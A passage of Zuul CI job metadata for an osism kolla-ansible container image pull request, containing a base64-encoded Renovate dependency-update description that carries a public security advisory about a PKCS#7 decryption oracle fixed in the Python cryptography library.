5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlKSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBjcnlwdG9ncmFwaHk6IFBLQ1MjNyBFbnZlbG9wZWREYXRhIGRlY3J5cHRpb24gZXhwb3NlcyBhIEJsZWljaGVuYmFjaGVyIG9yYWNsZSB0aHJvdWdoIGRpc3Rpbmd1aXNoYWJsZSBlcnJvcnMgYW5kIHRpbWluZwpbQ1ZFLTIwMjYtNjkyNDddKGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDI2LTY5MjQ3KSAvIFtHSFNBLWc2Y2otcHI2NC0zNXc1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLWc2Y2otcHI2NC0zNXc1KQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQoKYHBrY3M3X2RlY3J5cHRfZGVyYCwgYHBrY3M3X2RlY3J5cHRfcGVtYCwgYW5kIGBwa2NzN19kZWNyeXB0X3NtaW1lYCByZXBvcnRlZCB0aGUKb3V0Y29tZSBvZiBkZWNyeXB0aW5nIGEgYFJlY2lwaWVudEluZm9gJ3MgYGVuY3J5cHRlZEtleWAgaW4gc2V2ZXJhbApkaXN0aW5ndWlzaGFibGUgd2F5cywgb25lIG9mIHdoaWNoIGRpc2Nsb3NlZCB0aGUgZXhhY3QgbGVuZ3RoIHJlY292ZXJlZCBmcm9tIHRoZQpSU0Egb3BlcmF0aW9uLiBUaGUgc2FtZSBkaXN0aW5jdGlvbiB3YXMgYWxzbyBvYnNlcnZhYmxlIGJ5IHRpbWluZy4gQW4KYXBwbGljYXRpb24gdGhhdCBkZWNyeXB0cyBhdHRhY2tlci1zdXBwbGllZCBgRW52ZWxvcGVkRGF0YWAgYW5kIHJlZmxlY3RzIHRoZQpvdXRjb21lIGdpdmVzIHRoZSBhdHRhY2tlciBhIEJsZWljaGVuYmFjaGVyIG9yYWNsZSBhZ2FpbnN0IHRoZQpjb250ZW50LWVuY3J5cHRpb24ga2V5LgoKSW50cm9kdWNlZCBpbiA0NC4wLjAuIEZpeGVkIGluIDUwLjAuMC4KCiMjIyMjIERldGFpbHMKCkRlY3J5cHRpb24gcmFuIGFzOiBSU0EgUEtDUyMxIHYxLjUgZGVjcnlwdCBvZiBgZW5jcnlwdGVkS2V5YCDihpIgYnVpbGQgYW4gQUVTCmNpcGhlciBmcm9tIHRoZSByZXN1bHQg4oaSIEFFUy1DQkMgZGVjcnlwdCBhbmQgUEtDUyM3IHVucGFkLiBFYWNoIHN0YWdlIGZhaWxlZApkaWZmZXJlbnRseSwgd2l0aCBubyBSRkMgMzIxOCBtaXRpZ2F0aW9uOgoKMS4gaW52YWxpZCBSU0EgcGFkZGluZyDihpIgYERlY3J5cHRpb24gZmFpbGVkYAoyLiB2YWxpZCBwYWRkaW5nLCBiYWQga2V5IGxlbmd0aCDihpIgYEludmFsaWQga2V5IHNpemUgKE4pIGZvciBBRVMuYCwgZGlzY2xvc2luZyBgTmAKMy4gY29ycmVjdCBsZW5ndGgsIHdyb25nIGtleSDihpIgYEludmFsaWQgcGFkZGluZyBieXRlcy5gCjQuIHRoZSByZWFsIGtleSDihpIgcGxhaW50ZXh0CgpDYXNlIDEgaXMgcmVhY2hhYmxlIG9ubHkgd2hlcmUgdGhlIGxpbmtlZCBsaWJyYXJ5IGxhY2tzIGltcGxpY2l0IHJlamVjdGlvbjoKT3BlblNTTCAzLjAgYW5kIDMuMSwgTGlicmVTU0wsIGFuZCBCb3JpbmdTU0wuIE9uIE9wZW5TU0wgMy4yKywgdXNlZCBpbiBvdXIgd2hlZWxzLAppbnZhbGlkIHBhZGRpbmcgaW5zdGVhZCByZXR1cm5zIGEgc3ludGhldGljIHBsYWludGV4dCBvZgpwc2V1ZG9yYW5kb20gbGVuZ3RoLCBzbyB0aGUgZXJyb3IgY2hhbm5lbCBkb2VzIG5vdCBkaXN0aW5ndWlzaCBjb25mb3JtaW5nCmNpcGhlcnRleHRzLgoKRXhwbG9pdGF0aW9uIHJlcXVpcmVzIGEgc2VydmljZSB0aGF0IGF1dG8tZGVjcnlwdHMgdW50cnVzdGVkIGBFbnZlbG9wZWREYXRhYAptYXRjaGluZyB0aGUgdmljdGltIGNlcnRpZmljYXRlIGFuZCBhbnN3ZXJzIGFkYXB0aXZlbHkgYXQgaGlnaCB2b2x1bWUsIHN1Y2ggYXMKYW4gUy9NSU1FIGdhdGV3YXkgb3IgbWFpbCBmaWx0ZXIuCgojIyMjIyBGaXgKClBlciBSRkMgMzIxOCwgdGhlIGNvbnRlbnQtZW5jcnlwdGlvbiBhbGdvcml0aG0gaXMgbm93IHJlc29sdmVkIGJlZm9yZSB0aGUKcHJpdmF0ZSBrZXkgaXMgdXNlZCwgc28gdGhlIGV4cGVjdGVkIGtleSBsZW5ndGggaXMga25vd24gaW4gYWR2YW5jZS4gSWYgdGhlIFJTQQpkZWNyeXB0aW9uIGZhaWxzIG9yIHJlY292ZXJzIGEga2V5IG9mIHRoZSB3cm9uZyBsZW5ndGgsIGEgcmFuZG9tIGtleSBvZiB0aGUKZXhwZWN0ZWQgbGVuZ3RoIGlzIHN1YnN0aXR1dGVkIGFuZCBkZWNyeXB0aW9uIGNvbnRpbnVlcyBkb3duIGFuIGlkZW50aWNhbCBwYXRoLgpBbGwgZmFpbHVyZXMgbm93IHJlcG9ydCBpZGVudGljYWxseSBhbmQgcGVyZm9ybSB0aGUgc2FtZSB3b3JrLgoKIyMjIyMgTm90IGFkZHJlc3NlZCBieSB0aGlzIGZpeAoKYEVudmVsb3BlZERhdGFgIGRvZXMgbm90IGF1dGhlbnRpY2F0ZSBpdHMgY29udGVudC4gVGFtcGVyaW5nIHdpdGgKYGVuY3J5cHRlZENvbnRlbnRgIGFsb25lIHlpZWxkcyBhIENCQyBwYWRkaW5nIG9yYWNsZSB0aGF0IHJlY292ZXJzIHBsYWludGV4dCBhdApyb3VnaGx5IDI1NiBxdWVyaWVzIHBlciBieXRlLCB3aXRob3V0IHJlY292ZXJpbmcgYW55IGtleSwgb24gZXZlcnkgYmFja2VuZC4gVGhpcwppcyBhIHByb3BlcnR5IG9mIFBLQ1MjNyByYXRoZXIgdGhhbiBvZiB0aGlzIGltcGxlbWVudGF0aW9uLCBjYW5ub3QgYmUgZml4ZWQgaW4KdGhlIGxpYnJhcnksIGFuZCBpcyBub3cgZG9jdW1lbnRlZC4KCiMjIyMjIENyZWRpdAoKUmVwb3J0ZWQgYnkgQCYjODIwMztYMUFPeGlhbmcuCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogOC4yIC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6NC4wL0FWOk4vQUM6SC9BVDpQL1BSOk4vVUk6Ti9WQzpIL1ZJOk4vVkE6Ti9TQzpOL1NJOk4vU0E6TmAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWc2Y2otcHI2NC0zNXc1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWc2Y2otcHI2NC0zNXc1KQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvcHVsbC8xNTM2OV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3B1bGwvMTUzNjkpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21taXQvNTNmY2NkOTM0MTNhOGQ3ZjA3ZDZkODk5OTY4MWYyN2I3NWNmZmEzZl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbW1pdC81M2ZjY2Q5MzQxM2E4ZDdmMDdkNmQ4OTk5NjgxZjI3Yjc1Y2ZmYTNmKQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeSkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSBbT1NWXShodHRwczovL29zdi5kZXYvdnVsbmVyYWJpbGl0eS9HSFNBLWc2Y2otcHI2NC0zNXc1KSBhbmQgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIFJlbGVhc2UgTm90ZXMKCjxkZXRhaWxzPgo8c3VtbWFyeT5weWNhL2NyeXB0b2dyYXBoeSAoY3J5cHRvZ3JhcGh5KTwvc3VtbWFyeT4KCiMjIyBbYHY1MC4wLjBgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tcGFyZS80OS4wLjAuLi41MC4wLjApCgpbQ29tcGFyZSBTb3VyY2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21wYXJlLzQ5LjAuMC4uLjUwLjAuMCkKCiMjIyBbYHY0OS4wLjBgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tcGFyZS80OC4wLjEuLi40OS4wLjApCgpbQ29tcGFyZSBTb3VyY2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21wYXJlLzQ4LjAuMS4uLjQ5LjAuMCkKCjwvZGV0YWlscz4KCi0tLQoKIyMjIENvbmZpZ3VyYXRpb24KCvCfk4UgKipTY2hlZHVsZSoqOiAoVVRDKQoKLSBCcmFuY2ggY3JlYXRpb24KICAtIEF0IGFueSB0aW1lIChubyBzY2hlZHVsZSBkZWZpbmVkKQotIEF1dG9tZXJnZQogIC0gQXQgYW55IHRpbWUgKG5vIHNjaGVkdWxlIGRlZmluZWQpCgrwn5qmICoqQXV0b21lcmdlKio6IERpc2FibGVkIGJ5IGNvbmZpZy4gUGxlYXNlIG1lcmdlIHRoaXMgbWFudWFsbHkgb25jZSB5b3UgYXJlIHNhdGlzZmllZC4KCuKZuyAqKlJlYmFzaW5nKio6IFdoZW5ldmVyIFBSIGJlY29tZXMgY29uZmxpY3RlZCwgb3IgeW91IHRpY2sgdGhlIHJlYmFzZS9yZXRyeSBjaGVja2JveC4KCvCflJUgKipJZ25vcmUqKjogQ2xvc2UgdGhpcyBQUiBhbmQgeW91IHdvbid0IGJlIHJlbWluZGVkIGFib3V0IHRoaXMgdXBkYXRlIGFnYWluLgoKLS0tCgogLSBbIF0gPCEtLSByZWJhc2UtY2hlY2sgLS0+SWYgeW91IHdhbnQgdG8gcmViYXNlL3JldHJ5IHRoaXMgUFIsIGNoZWNrIHRoaXMgYm94CgotLS0KClRoaXMgUFIgd2FzIGdlbmVyYXRlZCBieSBbTWVuZCBSZW5vdmF0ZV0oaHR0cHM6Ly9tZW5kLmlvL3Jlbm92YXRlLykuIFZpZXcgdGhlIFtyZXBvc2l0b3J5IGpvYiBsb2ddKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vZ2l0aHViL29zaXNtL2NvbnRhaW5lci1pbWFnZS1rb2xsYS1hbnNpYmxlKS4KPCEtLXJlbm92YXRlLWRlYnVnOmV5SmpjbVZoZEdWa1NXNVdaWElpT2lJME5DNHpMaklpTENKMWNHUmhkR1ZrU1c1V1pYSWlPaUkwTkM0ekxqSWlMQ0owWVhKblpYUkNjbUZ1WTJnaU9pSnRZV2x1SWl3aWJHRmlaV3h6SWpwYkluSmxibTkyWVhSbElsMTktLT4K
      patchset: 1b0407bb71c76bad0378e9165a927c0f931cb84b
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          trusted/project_2/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
          untrusted/project_0/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
        playbooks:
        - path: untrusted/project_0/github.com/osism/zuul-jobs/playbooks/ansible-lint/run.yaml
          roles:
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_0/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_0/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_1/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_1/openinfra-zuul-jobs/roles
          - checkout: main
            checkout_description: playbook branch
            link_name: ansible/playbook_0/role_2/zuul-jobs
            link_target: untrusted/project_0/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_2/zuul-jobs/roles
      post_review: false
      post_timeout: 1800
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/container-image-kolla-ansible
        name: osism/container-image-kolla-ansible
        short_name: container-image-kolla-ansible
        src_dir: src/github.com/osism/container-image-kolla-ansible
      projects:
        github.com/osism/container-image-kolla-ansible:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-kolla-ansible
          checkout: main
          checkout_description: zuul branch
          commit: 92273c840bccbe67140beaf740fc6866a68feb60
          name: osism/container-image-kolla-ansible
          required: false
          short_name: container-image-kolla-ansible
          src_dir: src/github.com/osism/container-image-kolla-ansible
      ref: refs/pull/937/head
      resources: {}
      tenant: osism
      timeout: 1800
      topic: null
      voting: true
